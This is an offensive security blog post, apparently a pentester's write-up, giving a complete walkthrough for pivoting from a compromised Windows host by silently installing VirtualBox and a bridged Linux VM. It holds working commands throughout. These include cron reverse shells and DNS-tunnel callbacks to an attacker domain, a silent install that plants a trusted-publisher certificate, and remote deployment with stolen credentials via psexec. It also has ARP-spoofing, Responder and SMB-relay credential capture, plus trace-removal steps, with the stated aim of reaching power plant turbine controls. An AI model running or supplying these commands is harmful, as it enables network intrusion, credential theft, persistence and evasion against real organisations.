Spying penguin. Windows post-exploitation with a Linux-based VM

Windows-based systems are significantly more resistant against MITM attacks in comparison with Linux-based ones. The reason is simple: Windows does not include a handy mechanism to forward transit packets. Today, I will explain how to use a minimalist Linux system running on a virtual machine as a gateway. The attack also involves bridged network interfaces that grant the guest OS full L2 access to the network segment where the compromised Windows system is located. The VM will be deployed using VirtualBox.

Imagine that you have penetrated a network perimeter and gained access to a Windows server. Now you have to advance through the infrastructure: from the DMZ to the domain controller (or to the technological network and control over the turbines).

Or let’s say, you are inside a local network but cannot gain control over the target server because it has all the updates installed, while all you have are a few compromised machines in the VLAN.

In both cases, the attack vector involves an interface leading directly to the VLAN of the compromised PC at the L2 level. Such an interface enables you to turn the Windows-based host under your control into a gateway and avoid the need to install special network scanners and software for sophisticated network attacks.

The L2 access grants a number of additional benefits. For instance, you can perform:

  • MITM attacks exploiting vulnerabilities in the Ethernet protocol (arpspoof);
  • attacks on NetBIOS (responder); and
  • attacks on IPv6 (mitm6).

MITM attacks are one of the most powerful offensive techniques targeting Ethernet-based local networks. These attacks allow to gain control over seemingly unassailable hosts; all you have to do is listen to their network traffic (to extract logon credentials from it) and/or modify this traffic.

As you are aware, the majority of hosts in local networks use Windows. Too bad, Windows is not the best platform for attacks. You cannot fully implement IP forwarding; as a result, your actions may paralyze the entire network segment.

Other attack types are not very efficient, too. In theory, you could configure OpenVPN and the network bridge, but the command-line bridge configuration procedure is poorly implemented in Windows: after changing the bridge settings, you may lose access forever.


Needless to say that post-exploitation requires administrative privileges.

I will use VirtualBox to run Linux on the compromised PC because this virtualization software:

  • can be installed in the quiet mode;
  • includes an extremely useful CLI tool, VboxManage;
  • can be run on old computers without hardware virtualization; and
  • allows to run the VM in the background.

At the first glance, this solution seems a little bit cumbersome, but, in fact, it has significant advantages:

  • you won’t be detected by antiviruses because the software you use is 100% legitimate;
  • no graphical interfaces are required; psexec, webshell, or netcat will suffice;
  • the method is applicable to any Windows version, from XP/2003 to 10/2019; and
  • the method does not leave much traces: all operations are performed in the file system of the VM.

The main disadvantage is the need to copy some 500 MB of files, but in many real-life cases, this is not a problem.

Note that in some situation, this technique may not work. If the compromised system is a virtual machine, the promiscuous mode for the network card could be disabled in its settings. As a result, your VM won’t be able to receive network packets.

Deploying guest OS

There are two guest OS variants:

  • Kali Linux with its powerful suite of hacking tools; or
  • a minimalist Linux distribution with OpenVPN acting as a gateway.

The first variant is simple: you just download the distribution and deploy the OS. Kali will likely include all the tools you need.

But I prefer the second, more elegant variant: I will assemble my VM from scratch and transform it into a gateway, thus, granting L2 access to the target host network from any part of the world.

This approach allows to save some 1-2 GB of disk space because all hacking software will be run from the attacker’s machine, and you won’t be detected by antiviruses.

As said above, to make my Linux distribution as minimalist as possible, I create it from scratch. A 32-bit system will be the optimal variant.

First, I create an image to be filled:

truncate -s 1G linux.img

The image size is 1 GB, which is more than enough; later, the VDI format will compress empty spaces.

Then I create the disk partition: one logical volume.

$ fdisk linux.img
Command (m for help):n
Command (m for help):p
Partition number (1-4, default 1):
First sector (2048-2097151, default 2048):
Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-2097151, default 2097151):
Command (m for help):w
Command (m for help):q

Next, I create the file system and mount the newly-created volume:

sudo losetup -o $[2048*512] /dev/loop0 linux.img
sudo mkfs.ext4 /dev/loop0
sudo mount /dev/loop0 /mnt/

Downloading the minimum user space environment:

sudo debootstrap --arch=i386 --variant=minbase stable /mnt/ http://http.us.debian.org/debian

Time to build the kernel:

cd /usr/src/linux-5.5.1/

Creating the default kernel configuration:

make ARCH=i386 defconfig

I will also need some additional modules:

make ARCH=i386 menuconfig
  • Network bridging support: Networking support → Networking options → 802.1d Ethernet Bridging.
  • Support for virtual interfaces (tun): Device Drivers → Network device support → Network core driver support → Universal TUN/TAP device driver support.
  • Aside from OpenVPN, a tunnel can also be built using GRE (optional): Networking support → Networking options → TCP/IP networking → The IPv6 protocol → IPv6: GRE tunnel.
  • To be able to build PPP tunnels with just one command (also optional): Device Drivers → Network device support → PPP (point-to-point protocol) support.

Building the kernel:

make ARCH=i386 prepare
make ARCH=i386 scripts
make ARCH=i386 bzImage

Assembling modules:

make ARCH=i386 modules

When everything is ready, I copy the kernel and modules:

make INSTALL_PATH=/mnt/boot install
make INSTALL_MOD_PATH=/mnt/ modules_install

Time to create the RAM disk. If the host system is 64-bit, the best way is to use a 32-bit system for it. The environment that I have downloaded using the debootstrap tool is ideally suited for this purpose:

chroot /mnt/
mkinitramfs -k -o /boot/initrd.img-5.5.0 5.5.0
apt remove initramfs-tools-core && apt autoremove

Finally, I create the bootloader.

grub-install --target=i386-pc --boot-directory=/mnt/boot/ linux.img --modules='part_msdos'

Specifying the loading options:

set timeout=5
menuentry "Debian Linux" {
linux /boot/vmlinuz-5.5.0 root=/dev/sda1 rw
initrd /boot/initrd.img-5.5.0

Voila! A workable system is ready-to-go. But it still requires some tweaking. So, I go to the file system again:

chroot /mnt/

First of all, I configure SSH:

apt install openssh-server
update-rc.d ssh enable 2 3 4 5

Specifying the root password:

passwd root

Then I install the OpenVPN server to be used as a gateway:

apt install openvpn

For the sake of brevity I omit here the generation of certificates and keys for OpenVPN. The final config for the server side is follows:

port 1194
proto tcp
dev tap
user nobody
group nogroup
cipher AES-128-CBC
script-security 2
up /etc/openvpn/up.sh
down /etc/openvpn/down.sh

Up.sh и down.sh are the scripts that add the VPN interface to the network bridge.

/usr/sbin/brctl addif br0 "$1"
/usr/sbin/ifconfig "$1" up
/usr/sbin/brctl delif br0 "$1"
/usr/sbin/ifconfig "$1" down

I also add the OpenVPN client for connection to VDS that will be launched immediately after the start of my VM and will enable me to connect from any location.

In case the VM is launched in a filtered network segment, I make provisions for a reverse shell by adding the following code to cron:

* * * * * /bin/nc -e /bin/bash attacker.my_zone.tk 8888

In case there is no Internet, but DNS exfiltration (which occurs pretty often), I add one more string to cron:

* * * * * /bin/ping -c 1 dnsshell.my_zone.tk 1> /dev/null 2> /dev/null && /usr/local/bin/dnscat dnscat.my_zone.tk

In both situations, I can control my DNS zone using attacker.my_zone.tk and dnscat.my_zone.tk and, accordingly, can control the behavior of reverse shells.

I clean the dpkg database to free 50 MB of disk space…

apt clean

…and unmount the file system:

umount /mnt
losetup -d /dev/loop0

Finally, I have to create an image for VirtualBox – it must be converted to the VDI format:

qemu-img convert -O vdi linux.img linux.vdi

Now everything is ready. I import the image into VirtualBox, specify the number of processors and RAM volume (just the required minimum), and get the ready-to-use linux.ova file that can be imported on any host without any problem.

The final image size is 341 MB.

Quietly installing and launching VirtualBox.

I download the VirtualBox distribution. The optimal version for my purposes is 5.2.6-120293: it smoothly runs on all Windows systems, from XP to 10.

To install it in the quiet mode, I need .msi installer packages:

virtualbox-5.2.6-120293-Win.exe -extract

The %USER%\appdata\local\temp\virtualbox\ folder contains all the required installation files:

  • VirtualBox-5.2.6-MultiArch_amd64.msi;
  • VirtualBox-5.2.6-r120293-MultiArch_x86.msi; and
  • common.cab.

I also have to extract a certificate from any VirtualBox driver: it will be added to trusted prior to the installation to circumvent the untrusted driver notification window.

Below is the bat script that deploys everything in the quiet mode.

pushd %~dp0
certutil -addstore TrustedPublisher cert.cer
dir "\prog*86)" > nul 2> nul && (
msiexec /i VirtualBox-5.2.6-r120293-MultiArch_amd64.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
) || (
msiexec /i VirtualBox-5.2.6-r120293-MultiArch_x86.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
ping -n 300 >nul
c:\post\vboxmanage import linux.ova --options keepallmacs
c:\post\vboxmanage list bridgedifs|findstr /R "^Name:" > out.txt
setlocal enabledelayedexpansion
set /a c=1
for /f "tokens=2*" %%i in ('type out.txt') do (
echo c:\post\vboxmanage modifyvm linux32 --nic!c! bridged --bridgeadapter!c! "%%i %%j" >> out.bat
echo c:\post\vboxmanage modifyvm linux32 --nicpromisc!c! allow-all >> out.bat
set /a c=c+1
chcp 1251
call out.bat
chcp 866
c:\post\vboxmanage modifyvm linux32 --pae on
c:\post\vboxmanage startvm linux32 --type headless

Why Linux?

Seems overcomplicated? But in fact, there is nothing difficult there! Hacking software for Windows is much more overcomplicated because it:

  • either won’t run or won’t operate properly in roughly half the instances;
  • will often try to show you the graphical shell, which may be an excessive luxury;
  • forces you to circumvent antiviruses;
  • forces you to install interpreters (e.g. Python) and numerous dependencies, which is problematic in the absence of Internet access;
  • sometimes requires you to reboot the system (which is quite normal for Windows); and
  • is definitely inferior to similar Linux-based ecosystems by flexibility and functionality.

Deploying VM on remote host

Finally, I am ready to launch my Linux VM on the Windows host under my control.

First, I copy all required files and launch the VM:

cd /usr/share/windows-binaries/vbox/
smbclient -U user%pass //owned_host -c "mkdir post; cd post; put cert.cer; put common.cab; put install.bat; put linux.ova; put VirtualBox-5.2.6-r120293-MultiArch_amd64.msi; put VirtualBox-5.2.6-r120293-MultiArch_x86.msi"
psexec.py user:pass@owned_host "start c:\post\install.bat"

If everything goes well, then five minutes later, I should see in the target network segment a new host; its port 22 is open, and I can use it for connection.

ssh root@vbox_vm

Then I add the required network interface to the bridge:

brctl addbr br0; brctl addif br0 enp0s3; ifconfig enp0s3 0 promisc; ifconfig br0; route add -net default gw

It’s important to perform all operations in one command to avoid losing the connection.

I edit the IP address assigned to my VM in /etc/openvpn/server.conf and run openvpn:

openvpn --config server.conf

Then I run on my main system (of course, a Linux-based one) the following command:

openvpn --config client.conf

As a result, I get the tap0 interface – as if I were connected to the VLAN of the compromised system by a patch cord. From now on, I can do whatever I want.

ettercap -i tap0 -Tq -o -M arp:remote /gateway// /dc//
responder -I tap0 -r -d -w -F
netcreds -i tap0
iptables -t nat -A PREROUTING -i tap0 -p tcp --dport 445 -j REDIRECT --to-ports 445
smbrelayx.py -h target -e shell.exe
iptables -t nat -A PREROUTING -i tap0 -p tcp --dport 80 -j REDIRECT --to-ports 10000
mitmf -i tap0 --smbauth

So, using the virtualization and network tunneling magic, I opened a portal to a network segment of the compromised system, thus, maximizing the post-exploitation efficiency. Now the powerful tools embedded in Linux can penetrate any system, even a fully patched and heavily protected one!

Exiting in style

When it comes to covering up traces, I turn off the VM and delete it, remove VirtualBox, remove the certificate, and delete all files:

vboxmanage controlvm linux32 poweroff
vboxmanage unregistervm linux32 --delete
wmic product where name="Oracle VM VirtualBox 5.2.6" call uninstall /nointeractive
certutil -delstore TrustedPublisher cert.cer
rmdir /s /q c:\post

That’s it. No traces left. Almost.

Real-life example

This is how the idea described above was born.

Once we performed an internal pentesting audit and stopped a footstep away from gaining control over the power plant’s turbines. The problem was that the control computer was not a domain member (which is not unusual for technological components) and had no actual vulnerabilities.

Our only chance was an MITM attack – either through ARP spoofing or (partially) through NetBios spoofing. However, there were no Linux-based servers suitable for such an attack in the entire network segment, while we had access only to a few adjacent Windows-based workstations. In that situation, we performed the described above procedure using Kali as the guest OS.

As a result, it took us fifteen minutes to obtain the account credentials of the local administrator and gain access to the technological network.

One Response to “Spying penguin. Windows post-exploitation with a Linux-based VM”

  1. I was thinking about this kind of setup in a recent engagement.
    I had a footstep on a host as a simple user and wasn’t able to LPE.
    I did think about using qemu to run a linux VM on the host without admin rights and try to hop on another host.
    I unfortunately didn’t had enough time left.

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>